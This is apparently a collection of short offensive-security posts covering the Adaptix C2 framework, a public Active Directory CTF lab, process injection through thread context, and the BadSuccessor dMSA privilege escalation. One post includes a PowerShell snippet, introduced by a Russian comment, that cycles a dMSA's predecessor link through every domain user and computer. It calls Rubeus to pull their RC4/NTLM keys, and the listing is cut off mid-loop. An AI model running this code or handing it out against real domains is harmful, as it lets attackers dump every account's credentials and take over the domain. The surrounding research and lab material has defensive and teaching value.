Cobalt Strike for free!? Adaptix C2 (@hacker_ralf) is the best open source C2 I've used since Havoc (@C5pider). SOCKS5, remote and local port forwards, and BOF support! Now it's easy to install the server + client, especially on 🏟️Ludus with our new role:

Thanks to the awesome work of @LadhaAleem , the CTF Windows Active Directory lab for @_barbhack_ from 2024 is now public! 🔥

You can build the lab and pwn the AD — 13 flags to capture! No public write-up exists yet — waiting for someone to submit one!

What if you skipped VirtualAlloc, skipped WriteProcessMemory and still got code execution?
We explored process injection using nothing but thread context.

🚀 We just released my research on BadSuccessor - a new unpatched Active Directory privilege escalation vulnerability
It allows compromising any user in AD, it works with the default config, and.. Microsoft currently won't fix it 🤷‍♂️

If this query hits, you're in.

Based on the research of Akamai, I made a new module on netexec to find every principal that can perform a BadSuccessor attack and the OUs where it holds the required permissions 🔥

Many missed this on #BadSuccessor: it’s also a credential dumper.
I wrote a simple PowerShell script that uses Rubeus to dump Kerberos keys and NTLM hashes for every principal-krbtgt, users, machines. no DCSync required, no code execution on DC.

upd. автор делает что-то типа такого, если что, со своей версией рубеуса:

$domain = Get-ADDomain
$dmsa = "CN=mydmsa,CN=Managed Service Accounts,$($domain.DistinguishedName)"
$allDNs = @(Get-ADUser -Filter * | select @{n='DN';e={$_.DistinguishedName}}, sAMAccountName) `
        + @(Get-ADComputer -Filter * | select @{n='DN';e={$_.DistinguishedName}}, sAMAccountName)
$allDNs | % {
    Set-ADObject -Identity $dmsa -Replace @{ "msDS-ManagedAccountPrecededByLink" = $_.DN }
    $res = Invoke-Rubeus asktgs /targetuser:mydmsa$ /service:"krbtgt/$($domain.DNSRoot)" /opsec /dmsa /nowrap /ticket:$kirbi
    $rc4 = [regex]::Match($res, 'Previous Keys for .*\$: \(rc4_hmac\) ([A-F0-9]{32})').Groups[1].Value

Unconstrained Delegation on a gMSA and Webclient / NTLMv1 active on servers that can retrieve the credentials of a gMSA with unconstrained delegation can lead to a complete domain compromise from domain users.
